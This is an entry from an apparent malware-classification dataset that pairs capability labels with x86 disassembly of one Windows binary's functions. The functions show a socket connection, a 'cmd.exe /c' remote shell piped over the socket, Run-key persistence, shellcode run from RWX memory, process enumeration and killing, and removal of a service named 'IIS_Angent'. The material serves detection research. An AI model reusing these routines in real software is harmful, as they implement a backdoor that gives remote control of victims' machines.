joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401420
Capabilities:
Delete file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1010
call fcn.00406060
mov byte [ebp - 5], 0
push 0x4072f0
lea eax, [ebp + 0x10]
push eax
call dword [sym.imp.MSVCR100.dll_fopen]
add esp, 8
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x401453
xor al, al
jmp 0x4015b4
mov dword [ebp - 0xc], 0
mov ecx, dword [ebp - 0xc]
cmp ecx, dword [ebp + 0x90]
jae 0x4015a5
mov edx, dword [ebp + 0x90]
sub edx, dword [ebp - 0xc]
cmp edx, 0x1000
jbe 0x40150e
push 0
push 0
push 0x1000
lea eax, [ebp - 0x1010]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.00401ac0
test eax, eax
jne 0x4014bb
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.MSVCR100.dll_fclose]
add esp, 4
lea eax, [ebp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
xor al, al
jmp 0x4015b4
mov ecx, dword [ebp - 4]
push ecx
push 0x1000
push 1
lea edx, [ebp - 0x1010]
push edx
call dword [sym.imp.MSVCR100.dll_fwrite]
add esp, 0x10
cmp eax, 0x1000
je 0x4014fd
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.MSVCR100.dll_fclose]
add esp, 4
lea ecx, [ebp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
xor al, al
jmp 0x4015b4
mov edx, dword [ebp - 0xc]
add edx, 0x1000
mov dword [ebp - 0xc], edx
jmp 0x4015a0
push 0
push 0
mov eax, dword [ebp + 0x90]
sub eax, dword [ebp - 0xc]
push eax
lea ecx, [ebp - 0x1010]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.00401ac0
test eax, eax
jne 0x40154d
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.MSVCR100.dll_fclose]
add esp, 4
lea ecx, [ebp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
xor al, al
jmp 0x4015b4
mov edx, dword [ebp - 4]
push edx
mov eax, dword [ebp + 0x90]
sub eax, dword [ebp - 0xc]
push eax
push 1
lea ecx, [ebp - 0x1010]
push ecx
call dword [sym.imp.MSVCR100.dll_fwrite]
add esp, 0x10
mov edx, dword [ebp + 0x90]
sub edx, dword [ebp - 0xc]
cmp eax, edx
je 0x401597
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.MSVCR100.dll_fclose]
add esp, 4
lea ecx, [ebp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
xor al, al
jmp 0x4015b4
mov edx, dword [ebp + 0x90]
mov dword [ebp - 0xc], edx
jmp 0x40145a
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.MSVCR100.dll_fclose]
add esp, 4
mov al, 1
mov esp, ebp
pop ebp
ret 0xbc
Function at 0x4015c0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x100c
call fcn.00406060
push 0x4072f4
lea eax, [ebp + 0x10]
push eax
call dword [sym.imp.MSVCR100.dll_fopen]
add esp, 8
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x4015ef
xor al, al
jmp 0x4016e3
mov dword [ebp - 8], 0
push 2
push 0
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.MSVCR100.dll_fseek]
add esp, 0xc
test eax, eax
je 0x40161f
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.MSVCR100.dll_fclose]
add esp, 4
xor al, al
jmp 0x4016e3
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.MSVCR100.dll_ftell]
add esp, 4
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x401649
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.MSVCR100.dll_fclose]
add esp, 4
xor al, al
jmp 0x4016e3
push 0
push 0
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.MSVCR100.dll_fseek]
add esp, 0xc
test eax, eax
je 0x40166f
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.MSVCR100.dll_fclose]
add esp, 4
xor al, al
jmp 0x4016e3
mov ecx, dword [ebp - 8]
mov dword [ebp + 0x90], ecx
mov edx, dword [ebp - 4]
push edx
push 0x1000
push 1
lea eax, [ebp - 0x1008]
push eax
call dword [sym.imp.MSVCR100.dll_fread]
add esp, 0x10
mov dword [ebp - 0x100c], eax
cmp dword [ebp - 0x100c], 0
je 0x4016d4
push 0
push 0
mov ecx, dword [ebp - 0x100c]
push ecx
lea edx, [ebp - 0x1008]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.00401960
test eax, eax
jne 0x4016d2
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.MSVCR100.dll_fclose]
add esp, 4
xor al, al
jmp 0x4016e3
jmp 0x401678
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.MSVCR100.dll_fclose]
add esp, 4
mov al, 1
mov esp, ebp
pop ebp
ret 0xbc

Function at 0x4017e0
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a0
mov dword [ebp - 8], 0
mov eax, 1
mov word [ebp - 0x10], ax
mov ecx, 2
mov word [ebp - 0xc], cx
movzx edx, word [ebp - 0x10]
and edx, 0xff
movzx eax, dl
movzx ecx, word [ebp - 0xc]
and ecx, 0xff
movzx edx, cl
shl edx, 8
or eax, edx
mov word [ebp - 4], ax
lea eax, [ebp - 0x1a0]
push eax
movzx ecx, word [ebp - 4]
push ecx
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x401844
xor eax, eax
jmp 0x401849
mov eax, 1
mov esp, ebp
pop ebp
ret

Function at 0x401870
Capabilities:
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 1
push 0
push 0
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_WSASocketA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x40189a
mov dword [ebp - 8], 0
jmp 0x4018a8
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 4]
mov dword [eax], ecx
mov edx, dword [ebp - 4]
mov dword [ebp - 8], edx
mov eax, 1
mov esp, ebp
pop ebp
ret 4
Function at 0x401910
Capabilities:
Connect socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 0xc], eax
mov ecx, 2
mov word [ebp - 0x10], cx
movzx edx, word [ebp + 0x10]
push edx
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0xe], ax
push 0x10
lea eax, [ebp - 0x10]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.WS2_32.dll_connect]
xor edx, edx
cmp eax, 0xffffffff
setne dl
mov eax, edx
mov esp, ebp
pop ebp
ret 0xc

Function at 0x401960
Capabilities:
Create thread
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [ebp - 0x18], 0x14
mov eax, dword [ebp + 8]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0
lea ecx, [ebp - 0x1c]
push ecx
push 0
lea edx, [ebp - 0x18]
push edx
push 0x4016f0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x4019ab
or eax, 0xffffffff
jmp 0x401aaf
mov dword [ebp - 4], 0xffffffff
cmp dword [ebp + 8], 0xffffffff
je 0x401a95
mov eax, dword [ebp + 0x10]
add eax, 3
push eax
call sub.MSVCR100.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp + 0x10]
add edx, 3
push edx
push 0
mov eax, dword [ebp - 0x20]
push eax
call sub.MSVCR100.dll_memset
add esp, 0xc
movzx ecx, byte [ebp + 0x14]
test ecx, ecx
jne 0x401a2a
cmp dword [ebp + 0xc], 0
je 0x401a21
cmp dword [ebp + 0x18], 1
jne 0x401a06
mov edx, dword [ebp + 0x10]
add edx, 1
mov dword [ebp + 0x10], edx
mov eax, dword [ebp + 0x18]
push eax
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.WS2_32.dll_send]
mov dword [ebp - 4], eax
jmp 0x401a28
mov dword [ebp - 4], 0
jmp 0x401a83
mov ecx, dword [ebp - 0x20]
mov dl, byte [ebp + 0x14]
mov byte [ecx], dl
cmp dword [ebp + 0xc], 0
je 0x401a51
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp - 0x20]
add edx, 1
push edx
call sub.MSVCR100.dll_memcpy
add esp, 0xc
jmp 0x401a58
mov dword [ebp + 0x10], 0
cmp dword [ebp + 0x18], 1
jne 0x401a67
mov eax, dword [ebp + 0x10]
add eax, 1
mov dword [ebp + 0x10], eax
mov ecx, dword [ebp + 0x18]
push ecx
mov edx, dword [ebp + 0x10]
add edx, 1
push edx
mov eax, dword [ebp - 0x20]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.WS2_32.dll_send]
mov dword [ebp - 4], eax
mov edx, dword [ebp - 0x20]
mov dword [ebp - 0x28], edx
mov eax, dword [ebp - 0x28]
push eax
call sub.MSVCR100.dll_void___cdecl_operator_delete_void__
add esp, 4
mov dword [ebp - 0x10], 1
cmp dword [ebp - 0xc], 0
jne 0x401aac
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x401a9c
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret 0x14
Function at 0x401cf0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0
lea eax, [ebp - 4]
push eax
push 0
push 0xf013f
push 0
push 0
push 0
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x401d24
xor al, al
jmp 0x401d60
mov eax, dword [ebp + 0x14]
push eax
call sub.MSVCR100.dll_strlen
add esp, 4
push eax
mov ecx, dword [ebp + 0x14]
push ecx
push 1
push 0
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x401d54
xor al, al
jmp 0x401d60
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, 1
mov esp, ebp
pop ebp
ret

Function at 0x401f90
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push 0
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.MSVCR100.dll__access]
add esp, 8
test eax, eax
jne 0x401fb0
mov al, 1
jmp 0x402063
mov dword [ebp - 0x14], 0x1000
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.MSVCR100.dll_malloc]
add esp, 4
mov dword [ebp - 0x10], eax
push 0x407330
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.MSVCR100.dll_fopen]
add esp, 8
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x401ffd
push 0x407334
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.MSVCR100.dll_fopen]
add esp, 8
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x402001
xor al, al
jmp 0x402063
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 0x14]
push edx
push 1
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.MSVCR100.dll_fread]
add esp, 0x10
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jle 0x40203a
mov ecx, dword [ebp - 0xc]
push ecx
push 1
mov edx, dword [ebp - 4]
push edx
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.MSVCR100.dll_fwrite]
add esp, 0x10
jmp 0x402001
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.MSVCR100.dll_fclose]
add esp, 4
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.MSVCR100.dll_fclose]
add esp, 4
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.MSVCR100.dll_free]
add esp, 4
mov al, 1
mov esp, ebp
pop ebp
ret
Function at 0x402260
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push esi
push 0x104
call dword [sym.imp.MSVCR100.dll_malloc]
add esp, 4
mov ecx, dword [ebp + 8]
mov dword [ecx], eax
mov edx, dword [ebp + 8]
mov eax, dword [edx]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
test eax, eax
jne 0x4022a2
mov ecx, dword [ebp + 8]
mov edx, dword [ecx]
push edx
call dword [sym.imp.MSVCR100.dll_free]
add esp, 4
xor al, al
jmp 0x40233e
push 9
call dword [sym.imp.MSVCR100.dll_malloc]
add esp, 4
mov ecx, dword [ebp + 0xc]
mov dword [ecx], eax
mov edx, dword [ebp + 0xc]
mov eax, dword [edx]
push eax
call fcn.00401ed0
add esp, 4
mov ecx, dword [ebp + 8]
cmp dword [ecx], 0
je 0x402301
mov edx, dword [ebp + 0xc]
cmp dword [edx], 0
je 0x402301
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
push ecx
call sub.MSVCR100.dll_strlen
add esp, 4
mov esi, eax
mov edx, dword [ebp + 0xc]
mov eax, dword [edx]
push eax
call sub.MSVCR100.dll_strlen
add esp, 4
lea ecx, [esi + eax + 0xa]
push ecx
call dword [sym.imp.MSVCR100.dll_malloc]
add esp, 4
mov edx, dword [ebp + 0x10]
mov dword [edx], eax
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
push ecx
mov edx, dword [ebp + 0x10]
mov eax, dword [edx]
push eax
call sub.MSVCR100.dll_strcpy
add esp, 8
mov ecx, dword [ebp + 0xc]
mov edx, dword [ecx]
push edx
mov eax, dword [ebp + 0x10]
mov ecx, dword [eax]
push ecx
call sub.MSVCR100.dll_strcat
add esp, 8
push str..exe
mov edx, dword [ebp + 0x10]
mov eax, dword [edx]
push eax
call sub.MSVCR100.dll_strcat
add esp, 8
mov al, 1
pop esi
pop ebp
ret
Function at 0x4023a0
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push esi
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0x14], 0
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 8]
push ecx
lea edx, [ebp - 0xc]
push edx
call fcn.00402260
add esp, 0xc
movzx eax, al
test eax, eax
jne 0x4023f7
call fcn.00402220
lea ecx, [ebp - 0x14]
push ecx
lea edx, [ebp - 8]
push edx
lea eax, [ebp - 0xc]
push eax
call fcn.00402350
add esp, 0xc
xor al, al
jmp 0x40252e
mov ecx, dword [ebp - 0x14]
push ecx
call fcn.00402070
add esp, 4
movzx edx, al
test edx, edx
jne 0x402421
push 0
push 0
mov eax, dword [ebp - 0xc]
push eax
call fcn.004020a0
add esp, 0xc
xor al, al
jmp 0x40252e
cmp dword [0x40b434], 0
je 0x4024c2
mov ecx, dword [ebp - 0x14]
push ecx
call sub.MSVCR100.dll_strlen
add esp, 4
mov esi, eax
mov edx, dword [0x40b434]
push edx
call sub.MSVCR100.dll_strlen
add esp, 4
lea eax, [esi + eax + 0xa]
push eax
call dword [sym.imp.MSVCR100.dll_malloc]
add esp, 4
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x14]
push ecx
call sub.MSVCR100.dll_strlen
add esp, 4
mov esi, eax
mov edx, dword [0x40b434]
push edx
call sub.MSVCR100.dll_strlen
add esp, 4
lea eax, [esi + eax + 0xa]
push eax
push 0
mov ecx, dword [ebp - 0x10]
push ecx
call sub.MSVCR100.dll_memset
add esp, 0xc
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp - 0x10]
push eax
call sub.MSVCR100.dll_strcpy
add esp, 8
push 0x407370
mov ecx, dword [ebp - 0x10]
push ecx
call sub.MSVCR100.dll_strcat
add esp, 8
mov edx, dword [0x40b434]
push edx
mov eax, dword [ebp - 0x10]
push eax
call sub.MSVCR100.dll_strcat
add esp, 8
jmp 0x4024c8
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x10]
push edx
mov eax, dword [ebp - 8]
push eax
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push closesocket
call fcn.00401cf0
add esp, 0x10
mov byte [ebp - 1], al
movzx ecx, byte [ebp - 1]
test ecx, ecx
jne 0x402501
push 0
push 0
mov edx, dword [ebp - 0xc]
push edx
call fcn.004020a0
add esp, 0xc
xor al, al
jmp 0x40252e
mov eax, dword [ebp - 0x14]
push eax
push 1
mov ecx, dword [ebp - 0xc]
push ecx
call fcn.004020a0
add esp, 0xc
call fcn.00402220
lea edx, [ebp - 0x14]
push edx
lea eax, [ebp - 8]
push eax
lea ecx, [ebp - 0xc]
push ecx
call fcn.00402350
add esp, 0xc
mov al, 1
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x402ad0
Capabilities:
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Get common file path
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9a4
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
mov byte [ebp - 0x158], 0
push 0x12b
push 0
lea eax, [ebp - 0x157]
push eax
call sub.MSVCR100.dll_memset
add esp, 0xc
mov byte [ebp - 0x958], 0
push 0x7ff
push 0
lea ecx, [ebp - 0x957]
push ecx
call sub.MSVCR100.dll_memset
add esp, 0xc
mov dword [ebp - 0x9a4], 0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 0xc
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 1
push 0
lea edx, [ebp - 0x24]
push edx
lea eax, [ebp - 4]
push eax
lea ecx, [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x402b69
jmp 0x402c96
mov dword [ebp - 0x9a0], 0x44
lea edx, [ebp - 0x9a0]
push edx
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov eax, dword [ebp - 4]
mov dword [ebp - 0x960], eax
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x964], ecx
xor edx, edx
mov word [ebp - 0x970], dx
mov dword [ebp - 0x974], 0x101
push 0x12c
lea eax, [ebp - 0x158]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push str.cmd.exe__c
lea ecx, [ebp - 0x158]
push ecx
call sub.MSVCR100.dll_strcat
add esp, 8
mov edx, dword [ebp + 0xc]
push edx
lea eax, [ebp - 0x158]
push eax
call sub.MSVCR100.dll_strcat
add esp, 8
lea ecx, [ebp - 0x18]
push ecx
lea edx, [ebp - 0x9a0]
push edx
push 0
push 0
push 0
push 1
push 0
push 0
lea eax, [ebp - 0x158]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x402c12
jmp 0x402c96
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, 1
test edx, edx
je 0x402c85
push 0
lea eax, [ebp - 0x9a4]
push eax
push 0x800
lea ecx, [ebp - 0x958]
push ecx
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x402c4a
jmp 0x402c85
push 0
push 0
mov eax, dword [ebp - 0x9a4]
push eax
lea ecx, [ebp - 0x958]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.00401960
push 0x800
push 0
lea eax, [ebp - 0x958]
push eax
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x402c1c
push 0
push 1
push 0
push 0
mov ecx, dword [ebp + 8]
push ecx
call fcn.00401960
cmp dword [ebp - 8], 0
je 0x402ca6
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 4], 0
je 0x402cb6
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x4032c0
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0x40
push 0x3000
mov eax, dword [0x409014]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 8], eax
mov ecx, dword [0x409014]
push ecx
push 0x409018
mov edx, dword [ebp - 8]
push edx
call sub.MSVCR100.dll_memcpy
add esp, 0xc
push 0
push 0
push 0
mov eax, dword [ebp - 8]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x403328
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.CreateThread_failed__Error_code:__d_n
call dword [sym.imp.MSVCR100.dll_printf]
add esp, 8
mov esp, ebp
pop ebp
ret

Function at 0x403440
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
call fcn.00402d90
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x403030
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x403475
mov eax, 1
jmp 0x403599
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea edx, [ebp - 8]
push edx
push 0
push 0
push 0x403220
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x4034a9
mov eax, 1
jmp 0x403599
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.004032c0
mov ecx, 1
test ecx, ecx
je 0x403561
call fcn.004036b0
test eax, eax
je 0x403557
push 0x401
call sub.MSVCR100.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [ebp - 0x14], eax
mov edx, dword [ebp - 0x14]
mov dword [ebp - 0xc], edx
mov eax, 1
test eax, eax
je 0x40353e
push 0x401
push 0
mov ecx, dword [ebp - 0xc]
push ecx
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0
push 0
push 0x400
mov edx, dword [ebp - 0xc]
push edx
mov eax, dword [section..data]
push eax
call fcn.00401ac0
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
je 0x40353a
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [ebp - 0xc]
push edx
call fcn.00403920
add esp, 8
mov dword [ebp - 0x10], eax
jmp 0x40353c
jmp 0x40353e
jmp 0x4034e8
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x18]
push ecx
call sub.MSVCR100.dll_void___cdecl_operator_delete_void__
add esp, 4
mov dword [ebp - 0xc], 0
call fcn.00403780
jmp 0x4034b8
call fcn.00401850
lea edx, [ebp - 8]
push edx
push 0
push 0
push 0x402e50
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x40358d
mov eax, 1
jmp 0x403599
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov esp, ebp
pop ebp
ret 0x10
Function at 0x4035a0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 8], 0
mov eax, dword [ebp + 8]
push eax
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x4035d6
push 0
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov dword [ebp - 8], eax
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret

Function at 0x4035f0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x13c
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x13c], eax
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x138], 0x128
lea eax, [ebp - 0x138]
push eax
mov ecx, dword [ebp - 0x13c]
push ecx
call sub.KERNEL32.dll_Process32First
mov dword [ebp - 8], eax
mov dword [ebp - 4], 0
cmp dword [ebp - 8], 0
je 0x403676
push 0
push 0
push 0x12c
lea edx, [ebp - 0x138]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.00401960
lea ecx, [ebp - 0x138]
push ecx
mov edx, dword [ebp - 0x13c]
push edx
call sub.KERNEL32.dll_Process32Next
mov dword [ebp - 8], eax
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
jmp 0x403636
mov dword [ebp - 0x10], 1
push 0
push 0
push 0x12c
lea ecx, [ebp - 0x138]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.00401960
mov eax, dword [ebp - 0x13c]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x403780
Capabilities:
Terminate thread

Disassembly:
push ebp
mov ebp, esp
cmp dword [0x40b838], 0
je 0x4037c0
push 0
mov eax, dword [0x40b838]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push 0xffffffffffffffff
mov ecx, dword [0x40b838]
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, dword [0x40b838]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [0x40b838], 0
cmp dword [section..data], 0xffffffff
je 0x4037d4
mov eax, dword [section..data]
push eax
call fcn.00401b50
mov dword [section..data], 0xffffffff
mov eax, 1
pop ebp
ret
Function at 0x4037f0
Capabilities:
Delete service
Get common file path
Query service status
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x278
push 0x104
lea eax, [ebp - 0x270]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push str.winnet.exe
lea ecx, [ebp - 0x270]
push ecx
call sub.MSVCR100.dll_strcat
add esp, 8
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov dword [ebp - 0x274], eax
push 0xf01ff
push str.IIS_Angent
mov edx, dword [ebp - 0x274]
push edx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x403863
mov eax, dword [ebp - 0x274]
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x4038c6
lea ecx, [ebp - 0x164]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
je 0x4038bc
cmp dword [ebp - 0x160], 1
je 0x4038bc
lea eax, [ebp - 0x164]
push eax
push 1
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
je 0x4038bc
cmp dword [ebp - 0x160], 3
jne 0x4038bc
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
lea edx, [ebp - 0x164]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
jmp 0x403898
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_DeleteService]
mov edx, dword [ebp - 0x274]
push edx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push 0x5dc
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 0x148]
push ecx
lea edx, [ebp - 0x270]
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0x278], eax
cmp dword [ebp - 0x278], 0xffffffff
je 0x403918
mov eax, dword [ebp - 0x278]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov esp, ebp
pop ebp
ret